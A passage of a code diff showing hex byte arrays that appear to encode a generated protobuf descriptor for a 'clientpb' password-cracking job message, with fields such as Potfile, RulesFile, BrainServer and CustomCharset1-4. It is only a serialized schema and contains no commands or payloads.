0x28, + 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, + 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, + 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, + 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, + 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, + 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, + 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, + 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, + 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, + 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, + 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, + 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, + 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, + 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, + 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, + 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, + 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, + 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, + 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, + 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, + 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, + 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, + 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, + 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, + 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, + 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, + 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, + 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, + 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, + 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, + 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, + 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, + 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, + 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, + 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, + 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, + 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, + 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, + 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, + 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, + 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, + 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, + 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, + 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, + 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, + 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, + 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, + 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, + 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, + 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, + 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, + 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, + 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, + 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, + 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, + 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, + 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, + 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, + 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, + 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, + 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, + 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, - 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, - 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, - 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, - 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, - 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, - 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, - 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, - 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, - 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, - 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, - 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, - 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, - 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, - 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, - 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, - 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, - 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x18, 